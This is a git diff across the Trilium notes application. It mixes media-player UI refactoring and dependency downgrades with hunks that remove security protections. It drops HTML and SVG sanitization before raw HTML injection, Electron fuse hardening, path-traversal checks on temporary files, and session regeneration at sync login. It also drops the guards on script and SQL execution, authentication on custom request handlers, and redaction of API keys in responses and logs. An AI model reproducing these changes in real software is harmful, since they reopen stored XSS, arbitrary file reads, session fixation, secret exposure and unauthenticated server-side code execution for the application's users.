import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import type { ViewModeProps } from "../interface";
import { filterChildNotes, useFilteredNoteIds } from "./utils";
@@ -88,7 +87,7 @@ export function ListPrintView({ note, noteIds: unfilteredNoteIds, onReady, onPro
<h1>{note.title}</h1>
{state.notesWithContent?.map(({ note: childNote, contentEl }) => (
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: sanitizeNoteContentHtml(contentEl.innerHTML) }} />
<section id={`note-${childNote.noteId}`} class="note" dangerouslySetInnerHTML={{ __html: contentEl.innerHTML }} />
))}
</div>
</div>

View File

@@ -1,7 +1,6 @@
import { NoteType } from "@triliumnext/commons";
import FNote from "../../../entities/fnote";
import contentRenderer from "../../../services/content_renderer";
import { sanitizeNoteContentHtml } from "../../../services/sanitize_content";
import { ProgressChangedFn } from "../interface";
type DangerouslySetInnerHTML = { __html: string; };
@@ -73,7 +72,7 @@ async function processContent(note: FNote): Promise<DangerouslySetInnerHTML> {
const { $renderedContent } = await contentRenderer.getRenderedContent(note, {
noChildrenList: true
});
return { __html: sanitizeNoteContentHtml($renderedContent.html()) };
return { __html: $renderedContent.html() };
}
async function postProcessSlides(slides: (PresentationSlideModel | PresentationSlideBaseModel)[]) {

View File

@@ -13,27 +13,6 @@ import katex from "../services/math.js";
import options from "../services/options.js";
import OnClickButtonWidget from "./buttons/onclick_button.js";
import RightPanelWidget from "./right_panel_widget.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for highlight list items. Only allows inline
* formatting tags that appear in highlighted text (bold, italic, underline,
* colored/background-colored spans, KaTeX math output).
*/
const HIGHLIGHT_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "u", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small", "a",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "href", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="highlights-list-widget">
<style>
@@ -276,7 +255,7 @@ export default class HighlightsListWidget extends RightPanelWidget {
if (prevEndIndex !== -1 && startIndex === prevEndIndex) {
// If the previous element is connected to this element in HTML, then concatenate them into one.
$highlightsList.children().last().append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$highlightsList.children().last().append(subHtml);
} else {
// TODO: can't be done with $(subHtml).text()?
//Cant remember why regular expressions are used here, but modified to $(subHtml).text() works as expected
@@ -288,12 +267,12 @@ export default class HighlightsListWidget extends RightPanelWidget {
//If the two elements have the same style and there are only formulas in between, append the formulas and the current element to the end of the previous element.
if (this.areOuterTagsConsistent(prevSubHtml, subHtml) && onlyMathRegex.test(substring)) {
const $lastLi = $highlightsList.children("li").last();
$lastLi.append(DOMPurify.sanitize(await this.replaceMathTextWithKatax(substring), HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG));
$lastLi.append(await this.replaceMathTextWithKatax(substring));
$lastLi.append(subHtml);
} else {
$highlightsList.append(
$("<li>")
.html(DOMPurify.sanitize(subHtml, HIGHLIGHT_PURIFY_CONFIG))
.html(subHtml)
.on("click", () => this.jumpToHighlightsList(findSubStr, hltIndex))
);
}

View File

@@ -1,7 +1,5 @@
import type { CSSProperties, HTMLProps, RefObject } from "preact/compat";
import { sanitizeNoteContentHtml } from "../../services/sanitize_content.js";
type HTMLElementLike = string | HTMLElement | JQuery<HTMLElement>;
interface RawHtmlProps extends Pick<HTMLProps<HTMLElement>, "tabindex" | "dir"> {
@@ -38,6 +36,6 @@ export function getHtml(html: string | HTMLElement | JQuery<HTMLElement>) {
}
return {
__html: sanitizeNoteContentHtml(html as string)
__html: html as string
};
}

View File

@@ -21,27 +21,6 @@ import OnClickButtonWidget from "./buttons/onclick_button.js";
import appContext, { type EventData } from "../components/app_context.js";
import katex from "../services/math.js";
import type FNote from "../entities/fnote.js";
import DOMPurify from "dompurify";
/**
* DOMPurify configuration for ToC headings. Only allows inline formatting
* tags that legitimately appear in headings (bold, italic, KaTeX math output).
* Blocks all event handlers, script tags, and dangerous attributes.
*/
const TOC_PURIFY_CONFIG: DOMPurify.Config = {
ALLOWED_TAGS: [
"b", "i", "em", "strong", "s", "del", "sub", "sup",
"code", "mark", "span", "abbr", "small",
// KaTeX rendering output elements
"math", "semantics", "mrow", "mi", "mo", "mn", "msup",
"msub", "mfrac", "mover", "munder", "munderover",
"msqrt", "mroot", "mtable", "mtr", "mtd", "mtext",
"mspace", "annotation"
],
ALLOWED_ATTR: ["class", "style", "aria-hidden", "encoding", "xmlns"],
RETURN_DOM: false,
RETURN_DOM_FRAGMENT: false
};
const TPL = /*html*/`<div class="toc-widget">
<style>
@@ -358,7 +337,7 @@ export default class TocWidget extends RightPanelWidget {
//
const headingText = await this.replaceMathTextWithKatax(m[2]);
const $itemContent = $('<div class="item-content">').html(DOMPurify.sanitize(headingText, TOC_PURIFY_CONFIG));
const $itemContent = $('<div class="item-content">').html(headingText);
const $li = $("<li>").append($itemContent)
.on("click", () => this.jumpToHeading(headingIndex));
$ols[$ols.length - 1].append($li);

View File

@@ -50,13 +50,21 @@
}
}
.media-volume-row {
.media-volume-dropdown-content {
display: flex;
align-items: center;
gap: 0.25em;
padding: 0.5em;
.volume-mute-btn {
padding: 0.25em;
display: flex;
align-items: center;
justify-content: center;
}
.media-volume-slider {
width: 80px;
width: 100px;
cursor: pointer;
}
}

View File

@@ -102,30 +102,47 @@ export function VolumeControl({ mediaRef }: { mediaRef: RefObject<HTMLVideoEleme
}
};
const toggleMute = () => {
const toggleMute = (e: MouseEvent) => {
e.stopPropagation();
const media = mediaRef.current;
if (!media) return;
media.muted = !media.muted;
setMuted(media.muted);
};
const volumeIcon = muted || volume === 0
? "bx bx-volume-mute"
: volume < 0.5
? "bx bx-volume-low"
: "bx bx-volume-full";
return (
<div class="media-volume-row">
<ActionButton
icon={muted || volume === 0 ? "bx bx-volume-mute" : volume < 0.5 ? "bx bx-volume-low" : "bx bx-volume-full"}
text={muted ? t("media.unmute") : t("media.mute")}
onClick={toggleMute}
/>
<input
type="range"
class="media-volume-slider"
min={0}
max={1}
step={0.05}
value={muted ? 0 : volume}
onInput={onVolumeChange}
/>
</div>
<Dropdown
iconAction
hideToggleArrow
buttonClassName="volume-dropdown"
text={<Icon icon={volumeIcon} />}
title={t("media.volume")}
>
<li class="media-volume-dropdown-content">
<button
class="dropdown-item volume-mute-btn"
onClick={toggleMute}
title={muted ? t("media.unmute") : t("media.mute")}
>
<Icon icon={volumeIcon} />
</button>
<input
type="range"
class="media-volume-slider"
min={0}
max={1}
step={0.05}
value={muted ? 0 : volume}
onInput={onVolumeChange}
/>
</li>
</Dropdown>
);
}

View File

@@ -1,8 +1,8 @@
.note-detail-file > .video-preview-wrapper {
.video-preview-wrapper {
width: 100%;
height: 100%;
position: relative;
background-color: black;
background-color: black;
.video-preview {
background-color: black;

View File

@@ -7,19 +7,29 @@ import FNote from "../../../entities/fnote";
import { t } from "../../../services/i18n";
import { getUrlForDownload } from "../../../services/open";
import ActionButton from "../../react/ActionButton";
import Dropdown from "../../react/Dropdown";
import { FormListHeader, FormListItem } from "../../react/FormList";
import Icon from "../../react/Icon";
import NoItems from "../../react/NoItems";
import { LoopButton, PlaybackSpeed, PlayPauseButton, SeekBar, SkipButton, VolumeControl } from "./MediaPlayer";
import { PlayPauseButton, SeekBar, SkipButton, VolumeControl } from "./MediaPlayer";
const AUTO_HIDE_DELAY = 3000;
export default function VideoPreview({ note }: { note: FNote }) {
return <VideoPreviewContent
url={getUrlForDownload(`api/notes/${note.noteId}/open-partial`)}
mime={note.mime}
/>;
}
export function VideoPreviewContent({ url, mime }: { url: string, mime: string }) {
const wrapperRef = useRef<HTMLDivElement>(null);
const videoRef = useRef<HTMLVideoElement>(null);
const [playing, setPlaying] = useState(false);
const [error, setError] = useState(false);
const { visible: controlsVisible, onMouseMove, flash: flashControls } = useAutoHideControls(videoRef, playing);
useEffect(() => setError(false), [note.noteId]);
useEffect(() => setError(false), [ url ]);
const onError = useCallback(() => setError(true), []);
const togglePlayback = useCallback(() => {
@@ -33,6 +43,7 @@ export default function VideoPreview({ note }: { note: FNote }) {
}, []);
const onVideoClick = useCallback((e: MouseEvent) => {
e.stopPropagation();
if ((e.target as HTMLElement).closest(".media-preview-controls")) return;
togglePlayback();
}, [togglePlayback]);
@@ -40,7 +51,7 @@ export default function VideoPreview({ note }: { note: FNote }) {
const onKeyDown = useKeyboardShortcuts(videoRef, wrapperRef, togglePlayback, flashControls);
if (error) {
return <NoItems icon="bx bx-video-off" text={t("media.unsupported-format", { mime: note.mime.replace("/", "-") })} />;
return <NoItems icon="bx bx-video-off" text={t("media.unsupported-format", { mime: mime.replace("/", "-") })} />;
}
return (
@@ -48,8 +59,8 @@ export default function VideoPreview({ note }: { note: FNote }) {
<video
ref={videoRef}
class="video-preview"
src={getUrlForDownload(`api/notes/${note.noteId}/open-partial`)}
datatype={note?.mime}
src={url}
datatype={mime}
onPlay={() => setPlaying(true)}
onPause={() => setPlaying(false)}
onError={onError}
@@ -59,19 +70,17 @@ export default function VideoPreview({ note }: { note: FNote }) {
<SeekBar mediaRef={videoRef} />
<div class="media-buttons-row">
<div className="left">
<PlaybackSpeed mediaRef={videoRef} />
<RotateButton videoRef={videoRef} />
<OverflowMenu videoRef={videoRef} />
</div>
<div className="center">
<div className="spacer" />
<SkipButton mediaRef={videoRef} seconds={-10} icon="bx bx-rewind" text={t("media.back-10s")} />
<PlayPauseButton playing={playing} togglePlayback={togglePlayback} />
<SkipButton mediaRef={videoRef} seconds={30} icon="bx bx-fast-forward" text={t("media.forward-30s")} />
<LoopButton mediaRef={videoRef} />
<div className="spacer" />
</div>
<div className="right">
<VolumeControl mediaRef={videoRef} />
<ZoomToFitButton videoRef={videoRef} />
<PictureInPictureButton videoRef={videoRef} />
<FullscreenButton targetRef={wrapperRef} />
</div>
@@ -171,8 +180,49 @@ function useAutoHideControls(videoRef: RefObject<HTMLVideoElement>, playing: boo
return { visible, onMouseMove, flash: onMouseMove };
}
function RotateButton({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }) {
const PLAYBACK_SPEEDS = [0.5, 1, 1.25, 1.5, 2];
function OverflowMenu({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }) {
const [speed, setSpeed] = useState(() => videoRef.current?.playbackRate ?? 1);
const [loop, setLoop] = useState(() => videoRef.current?.loop ?? false);
const [rotation, setRotation] = useState(0);
const [fitted, setFitted] = useState(false);
// Sync playback rate
useEffect(() => {
const video = videoRef.current;
if (!video) return;
setSpeed(video.playbackRate);
const onRateChange = () => setSpeed(video.playbackRate);
video.addEventListener("ratechange", onRateChange);
return () => video.removeEventListener("ratechange", onRateChange);
}, [videoRef]);
// Sync loop state
useEffect(() => {
const video = videoRef.current;
if (!video) return;
setLoop(video.loop);
const observer = new MutationObserver(() => setLoop(video.loop));
observer.observe(video, { attributes: true, attributeFilter: ["loop"] });
return () => observer.disconnect();
}, [videoRef]);
const selectSpeed = (rate: number) => {
const video = videoRef.current;
if (!video) return;
video.playbackRate = rate;
setSpeed(rate);
};
const toggleLoop = () => {
const video = videoRef.current;
if (!video) return;
video.loop = !video.loop;
setLoop(video.loop);
};
const rotate = () => {
const video = videoRef.current;
@@ -182,7 +232,6 @@ function RotateButton({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }) {
const isSideways = next === 90 || next === 270;
if (isSideways) {
// Scale down so the rotated video fits within its container.
const container = video.parentElement;
if (container) {
const ratio = container.clientWidth / container.clientHeight;
@@ -195,19 +244,7 @@ function RotateButton({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }) {
}
};
return (
<ActionButton
icon="bx bx-rotate-right"
text={t("media.rotate")}
onClick={rotate}
/>
);
}
function ZoomToFitButton({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }) {
const [fitted, setFitted] = useState(false);
const toggle = () => {
const toggleFit = () => {
const video = videoRef.current;
if (!video) return;
const next = !fitted;
@@ -216,12 +253,50 @@ function ZoomToFitButton({ videoRef }: { videoRef: RefObject<HTMLVideoElement> }
};
return (
<ActionButton
className={fitted ? "active" : ""}
icon={fitted ? "bx bx-collapse" : "bx bx-expand"}
text={fitted ? t("media.zoom-reset") : t("media.zoom-to-fit")}
onClick={toggle}
/>
<Dropdown
iconAction
hideToggleArrow
noSelectButtonStyle
noDropdownListStyle
mobileBackdrop
buttonClassName="overflow-menu-dropdown"
dropdownContainerClassName="mobile-bottom-menu"
text={<Icon icon="bx bx-dots-horizontal-rounded" />}
title={t("media.more-options")}
>
<FormListHeader text={t("media.playback-speed")} />
{PLAYBACK_SPEEDS.map((rate) => (
<FormListItem
key={rate}
icon={rate === speed ? "bx bx-check" : "bx bx-empty"}
active={rate === speed}
onClick={() => selectSpeed(rate)}
>
{rate}x
</FormListItem>
))}
<li class="dropdown-divider" />
<FormListItem
icon="bx bx-rotate-right"
onClick={rotate}
>
{t("media.rotate")}
</FormListItem>
<FormListItem
icon={loop ? "bx bx-check" : "bx bx-repeat"}
active={loop}
onClick={toggleLoop}
>
{loop ? t("media.disable-loop") : t("media.loop")}
</FormListItem>
<FormListItem
icon={fitted ? "bx bx-collapse" : "bx bx-expand"}
active={fitted}
onClick={toggleFit}
>
{fitted ? t("media.zoom-reset") : t("media.zoom-to-fit")}
</FormListItem>
</Dropdown>
);
}

View File

@@ -1,6 +1,4 @@
import { FusesPlugin } from "@electron-forge/plugin-fuses";
import type { ForgeConfig } from "@electron-forge/shared-types";
import { FuseV1Options, FuseVersion } from "@electron/fuses";
import { LOCALES } from "@triliumnext/commons";
import { existsSync } from "fs";
import fs from "fs-extra";
@@ -168,24 +166,7 @@ const config: ForgeConfig = {
{
name: "@electron-forge/plugin-auto-unpack-natives",
config: {}
},
new FusesPlugin({
version: FuseVersion.V1,
// Security: Disable RunAsNode to prevent local attackers from launching
// the Electron app in Node.js mode via ELECTRON_RUN_AS_NODE env variable.
// This prevents TCC bypass / prompt spoofing attacks on macOS and
// "living off the land" privilege escalation on all platforms.
[FuseV1Options.RunAsNode]: false,
// Security: Disable NODE_OPTIONS and NODE_EXTRA_CA_CERTS environment
// variables to prevent injection of arbitrary Node.js runtime options.
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
// Security: Disable --inspect and --inspect-brk CLI arguments to prevent
// debugger protocol exposure that could enable remote code execution.
[FuseV1Options.EnableNodeCliInspectArguments]: false,
// Security: Only allow loading the app from the ASAR archive to prevent
// loading of unverified code from alternative file paths.
[FuseV1Options.OnlyLoadAppFromAsar]: true,
}),
}
],
hooks: {
// Remove unused locales from the packaged app to save some space.

View File

@@ -27,8 +27,8 @@
"electron-debug": "4.1.0",
"electron-dl": "4.0.0",
"electron-squirrel-startup": "1.0.1",
"jquery-hotkeys": "0.2.2",
"jquery.fancytree": "2.38.5"
"jquery.fancytree": "2.38.5",
"jquery-hotkeys": "0.2.2"
},
"devDependencies": {
"@types/electron-squirrel-startup": "1.0.2",
@@ -44,13 +44,6 @@
"@electron-forge/maker-squirrel": "7.11.1",
"@electron-forge/maker-zip": "7.11.1",
"@electron-forge/plugin-auto-unpack-natives": "7.11.1",
"@electron-forge/plugin-fuses": "7.11.1",
"@electron/fuses": "1.8.0",
"@triliumnext/commons": "workspace:*",
"@triliumnext/server": "workspace:*",
"@types/electron-squirrel-startup": "1.0.2",
"copy-webpack-plugin": "13.0.1",
"electron": "40.4.1",
"prebuild-install": "7.1.3"
}
}

View File

@@ -6,7 +6,7 @@
"dependencies": {
"better-sqlite3": "12.8.0",
"mime-types": "3.0.2",
"sanitize-filename": "1.6.4",
"sanitize-filename": "1.6.3",
"tsx": "4.21.0",
"yargs": "18.0.0"
},

View File

@@ -99,7 +99,7 @@
"html2plaintext": "2.1.4",
"http-proxy-agent": "8.0.0",
"https-proxy-agent": "8.0.0",
"i18next": "25.10.3",
"i18next": "25.8.18",
"i18next-fs-backend": "2.6.1",
"image-type": "6.0.0",
"ini": "6.0.0",
@@ -107,13 +107,13 @@
"is-svg": "6.1.0",
"jimp": "1.6.0",
"lorem-ipsum": "2.0.8",
"marked": "17.0.5",
"marked": "17.0.4",
"mime-types": "3.0.2",
"multer": "2.1.1",
"normalize-strings": "1.1.1",
"rand-token": "1.0.1",
"safe-compare": "1.1.4",
"sanitize-filename": "1.6.4",
"sanitize-filename": "1.6.3",
"sanitize-html": "2.17.2",
"sax": "1.6.0",
"serve-favicon": "2.5.1",
@@ -127,7 +127,7 @@
"turnish": "1.8.0",
"unescape": "1.0.1",
"vite": "8.0.1",
"ws": "8.20.0",
"ws": "8.19.0",
"xml2js": "0.6.2",
"yauzl": "3.2.1"
}

View File

@@ -67,13 +67,3 @@ oauthIssuerName=
# Set the issuer icon for OAuth/OpenID authentication
# This is the icon of the service that will be used to verify the user's identity
oauthIssuerIcon=
[Scripting]
# Enable backend/frontend script execution. WARNING: Scripts have full server access including
# filesystem, network, and OS commands via require('child_process'). Only enable if you trust
# all users with admin-level access to the server.
# Desktop builds override this to true automatically.
enabled=false
# Enable the SQL console (allows raw SQL execution against the database)
sqlConsoleEnabled=false

View File

@@ -171,8 +171,7 @@ function setExpandedForSubtree(req: Request<{ branchId: string, expanded: string
// root is always expanded
branchIds = branchIds.filter((branchId) => branchId !== "none_root");
const expandedValue = expanded ? 1 : 0;
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expandedValue} WHERE branchId IN (???)`, branchIds);
sql.executeMany(/*sql*/`UPDATE branches SET isExpanded = ${expanded} WHERE branchId IN (???)`, branchIds);
for (const branchId of branchIds) {
const branch = becca.branches[branchId];

View File

@@ -1,7 +1,6 @@
import chokidar from "chokidar";
import type { Request, Response } from "express";
import fs from "fs";
import path from "path";
import { Readable } from "stream";
import tmp from "tmp";
@@ -204,36 +203,13 @@ function saveToTmpDir(fileName: string, content: string | Buffer, entityType: st
};
}
/**
* Validates that the given file path is a known temporary file created by this server
* and resides within the expected temporary directory. This prevents path traversal
* attacks (CWE-22) where an attacker could read arbitrary files from the filesystem.
*/
function validateTemporaryFilePath(filePath: string): void {
if (!filePath || typeof filePath !== "string") {
throw new ValidationError("Missing or invalid file path.");
}
// Check 1: The file must be in our set of known temporary files created by saveToTmpDir().
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a tracked temporary file.`);
}
// Check 2 (defense-in-depth): Resolve to an absolute path and verify it is within TMP_DIR.
// This guards against any future bugs where a non-temp path could end up in the set.
const resolvedPath = path.resolve(filePath);
const resolvedTmpDir = path.resolve(dataDirs.TMP_DIR);
if (!resolvedPath.startsWith(resolvedTmpDir + path.sep) && resolvedPath !== resolvedTmpDir) {
throw new ValidationError(`File path '${filePath}' is outside the temporary directory.`);
}
}
function uploadModifiedFileToNote(req: Request<{ noteId: string }>) {
const noteId = req.params.noteId;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
if (!createdTemporaryFiles.has(filePath)) {
throw new ValidationError(`File '${filePath}' is not a temporary file.`);
}
const note = becca.getNoteOrThrow(noteId);
@@ -254,8 +230,6 @@ function uploadModifiedFileToAttachment(req: Request<{ attachmentId: string }>)
const { attachmentId } = req.params;
const { filePath } = req.body;
validateTemporaryFilePath(filePath);
const attachment = becca.getAttachmentOrThrow(attachmentId);
log.info(`Updating attachment '${attachmentId}' with content from '${filePath}'`);

View File

@@ -10,21 +10,6 @@ describe("Image API", () => {
expect(response.headers["Content-Type"]).toBe("image/svg+xml");
expect(response.body).toBe(`<svg xmlns="http://www.w3.org/2000/svg"></svg>`);
});
it("sets Content-Security-Policy header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["Content-Security-Policy"]).toBeDefined();
expect(response.headers["Content-Security-Policy"]).toContain("default-src 'none'");
});
it("sets X-Content-Type-Options header on SVG responses", () => {
const parentNote = note("note").note;
const response = new MockResponse();
renderSvgAttachment(parentNote, response as any, "attachment");
expect(response.headers["X-Content-Type-Options"]).toBe("nosniff");
});
});
class MockResponse {

View File

@@ -6,7 +6,6 @@ import type BNote from "../../becca/entities/bnote.js";
import type BRevision from "../../becca/entities/brevision.js";
import imageService from "../../services/image.js";
import { RESOURCE_DIR } from "../../services/resource_dir.js";
import { sanitizeSvg, setSvgHeaders } from "../../services/svg_sanitizer.js";
function returnImageFromNote(req: Request<{ noteId: string }>, res: Response) {
const image = becca.getNote(req.params.noteId);
@@ -36,12 +35,6 @@ function returnImageInt(image: BNote | BRevision | null, res: Response) {
renderSvgAttachment(image, res, "mindmap-export.svg");
} else if (image.type === "spreadsheet") {
renderPngAttachment(image, res, "spreadsheet-export.png");
} else if (image.mime === "image/svg+xml") {
// SVG images require sanitization to prevent stored XSS
const content = image.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", image.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
@@ -64,9 +57,9 @@ export function renderSvgAttachment(image: BNote | BRevision, res: Response, att
}
}
const sanitized = sanitizeSvg(svg);
setSvgHeaders(res);
res.send(sanitized);
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(svg);
}
export function renderPngAttachment(image: BNote | BRevision, res: Response, attachmentName: string) {
@@ -93,17 +86,9 @@ function returnAttachedImage(req: Request<{ attachmentId: string }>, res: Respon
return res.setHeader("Content-Type", "text/plain").status(400).send(`Attachment '${attachment.attachmentId}' has role '${attachment.role}', but 'image' was expected.`);
}
if (attachment.mime === "image/svg+xml") {
// SVG attachments require sanitization to prevent stored XSS
const content = attachment.getContent();
const sanitized = sanitizeSvg(typeof content === "string" ? content : content?.toString("utf-8") ?? "");
setSvgHeaders(res);
res.send(sanitized);
} else {
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
res.set("Content-Type", attachment.mime);
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
res.send(attachment.getContent());
}
function updateImage(req: Request<{ noteId: string }>) {

View File

@@ -78,7 +78,7 @@ import recoveryCodeService from "../../services/encryption/recovery_codes";
* type: string
* example: "Auth request time is out of sync, please check that both client and server have correct time. The difference between clocks has to be smaller than 5 minutes"
*/
async function loginSync(req: Request) {
function loginSync(req: Request) {
if (!sqlInit.schemaExists()) {
return [500, { message: "DB schema does not exist, can't sync." }];
}
@@ -112,17 +112,6 @@ async function loginSync(req: Request) {
return [400, { message: "Sync login credentials are incorrect. It looks like you're trying to sync two different initialized documents which is not possible." }];
}
// Regenerate session to prevent session fixation attacks.
await new Promise<void>((resolve, reject) => {
req.session.regenerate((err) => {
if (err) {
reject(err);
} else {
resolve();
}
});
});
req.session.loggedIn = true;
return {

View File

@@ -107,31 +107,17 @@ const ALLOWED_OPTIONS = new Set<OptionNames>([
"mfaMethod"
]);
// Options that contain secrets (API keys, tokens, etc.).
// These can be written by the client but are never sent back in GET responses.
const WRITE_ONLY_OPTIONS = new Set<OptionNames>([
"openaiApiKey",
"anthropicApiKey"
]);
function getOptions() {
const optionMap = optionService.getOptionMap();
const resultMap: Record<string, string> = {};
for (const optionName in optionMap) {
if (isReadable(optionName)) {
if (isAllowed(optionName)) {
resultMap[optionName] = optionMap[optionName as OptionNames];
}
}
resultMap["isPasswordSet"] = optionMap["passwordVerificationHash"] ? "true" : "false";
// Expose boolean flags for write-only (secret) options so the client
// knows whether a value has been configured without revealing the value.
for (const secretOption of WRITE_ONLY_OPTIONS) {
resultMap[`is${secretOption.charAt(0).toUpperCase()}${secretOption.slice(1)}Set`] =
optionMap[secretOption] ? "true" : "false";
}
// if database is read-only, disable editing in UI by setting 0 here
if (config.General.readOnly) {
resultMap["autoReadonlySizeText"] = "0";
@@ -166,10 +152,7 @@ function update(name: string, value: string) {
}
if (name !== "openNoteContexts") {
const logValue = (WRITE_ONLY_OPTIONS as Set<string>).has(name)
? "[redacted]"
: value;
log.info(`Updating option '${name}' to '${logValue}'`);
log.info(`Updating option '${name}' to '${value}'`);
}
optionService.setOption(name as OptionNames, value);
@@ -207,20 +190,13 @@ function getSupportedLocales() {
return getLocales();
}
/** Check if an option can be read by the client (GET responses). */
function isReadable(name: string) {
function isAllowed(name: string) {
return (ALLOWED_OPTIONS as Set<string>).has(name)
|| name.startsWith("keyboardShortcuts")
|| name.endsWith("Collapsed")
|| name.startsWith("hideArchivedNotes");
}
/** Check if an option can be written by the client (PUT requests). */
function isAllowed(name: string) {
return isReadable(name)
|| (WRITE_ONLY_OPTIONS as Set<string>).has(name);
}
export default {
getOptions,
updateOption,

View File

@@ -8,7 +8,6 @@ import scriptService, { type Bundle } from "../../services/script.js";
import sql from "../../services/sql.js";
import syncService from "../../services/sync.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertScriptingEnabled, isScriptingEnabled } from "../../services/scripting_guard.js";
interface ScriptBody {
script: string;
@@ -24,7 +23,6 @@ interface ScriptBody {
// need to await it and make the complete response including metadata available in a Promise, so that the route detects
// this and does result.then().
async function exec(req: Request) {
assertScriptingEnabled();
try {
const body = req.body as ScriptBody;
@@ -47,7 +45,6 @@ async function exec(req: Request) {
}
function run(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const result = scriptService.executeNote(note, { originEntity: note });
@@ -72,10 +69,6 @@ function getBundlesWithLabel(label: string, value?: string) {
}
function getStartupBundles(req: Request) {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
if (req.query.mobile === "true") {
return getBundlesWithLabel("run", "mobileStartup");
@@ -88,10 +81,6 @@ function getStartupBundles(req: Request) {
}
function getWidgetBundles() {
if (!isScriptingEnabled()) {
return [];
}
if (!process.env.TRILIUM_SAFE_MODE) {
return getBundlesWithLabel("widget");
}
@@ -100,10 +89,6 @@ function getWidgetBundles() {
}
function getRelationBundles(req: Request<{ noteId: string, relationName: string }>) {
if (!isScriptingEnabled()) {
return [];
}
const noteId = req.params.noteId;
const note = becca.getNoteOrThrow(noteId);
const relationName = req.params.relationName;
@@ -133,8 +118,6 @@ function getRelationBundles(req: Request<{ noteId: string, relationName: string
}
function getBundle(req: Request<{ noteId: string }>) {
assertScriptingEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const { script, params } = req.body ?? {};

View File

@@ -4,7 +4,6 @@ import becca from "../../becca/becca.js";
import ValidationError from "../../errors/validation_error.js";
import sql from "../../services/sql.js";
import { safeExtractMessageAndStackFromError } from "../../services/utils.js";
import { assertSqlConsoleEnabled } from "../../services/scripting_guard.js";
interface Table {
name: string;
@@ -26,7 +25,6 @@ function getSchema() {
}
function execute(req: Request<{ noteId: string }>) {
assertSqlConsoleEnabled();
const note = becca.getNoteOrThrow(req.params.noteId);
const content = note.getContent();

View File

@@ -3,7 +3,6 @@ import { doubleCsrf } from "csrf-csrf";
import sessionSecret from "../services/session_secret.js";
import { isElectron } from "../services/utils.js";
import config from "../services/config.js";
export const CSRF_COOKIE_NAME = "trilium-csrf";
@@ -17,7 +16,7 @@ const doubleCsrfUtilities = doubleCsrf({
getSecret: () => sessionSecret,
cookieOptions: {
path: "/",
secure: config.Network.https,
secure: false,
sameSite: "strict",
httpOnly: !isElectron // set to false for Electron, see https://github.com/TriliumNext/Trilium/pull/966
},

View File

@@ -6,15 +6,9 @@ import sql from "../services/sql.js";
import becca from "../becca/becca.js";
import type { Request, Response, Router } from "express";
import { safeExtractMessageAndStackFromError, normalizeCustomHandlerPattern } from "../services/utils.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
function handleRequest(req: Request, res: Response) {
if (!isScriptingEnabled()) {
res.status(403).send("Script execution is disabled on this server.");
return;
}
// handle path from "*path" route wildcard
// in express v4, you could just add
// req.params.path + req.params[0], but with v5
@@ -70,14 +64,6 @@ function handleRequest(req: Request, res: Response) {
if (attr.name === "customRequestHandler") {
const note = attr.getNote();
// Require authentication unless note has #customRequestHandlerPublic label
if (!note.hasLabel("customRequestHandlerPublic")) {
if (!req.session?.loggedIn) {
res.status(401).send("Authentication required for this endpoint.");
return;
}
}
log.info(`Handling custom request '${path}' with note '${note.noteId}'`);
try {

View File

@@ -15,7 +15,7 @@ import etapiSpecRoute from "../etapi/spec.js";
import etapiSpecialNoteRoutes from "../etapi/special_notes.js";
import auth from "../services/auth.js";
import openID from '../services/open_id.js';
import { isElectron } from "../services/utils.js";
import shareRoutes from "../share/routes.js";
import appInfoRoute from "./api/app_info.js";
import attachmentsApiRoute from "./api/attachments.js";
@@ -257,7 +257,7 @@ function register(app: express.Application) {
apiRoute(PST, "/api/bulk-action/execute", bulkActionRoute.execute);
apiRoute(PST, "/api/bulk-action/affected-notes", bulkActionRoute.getAffectedNoteCount);
asyncRoute(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
route(PST, "/api/login/sync", [loginRateLimiter], loginApiRoute.loginSync, apiResultHandler);
// this is for entering protected mode so user has to be already logged-in (that's the reason we don't require username)
apiRoute(PST, "/api/login/protected", loginApiRoute.loginToProtectedSession);
apiRoute(PST, "/api/login/protected/touch", loginApiRoute.touchProtectedSession);
@@ -270,10 +270,8 @@ function register(app: express.Application) {
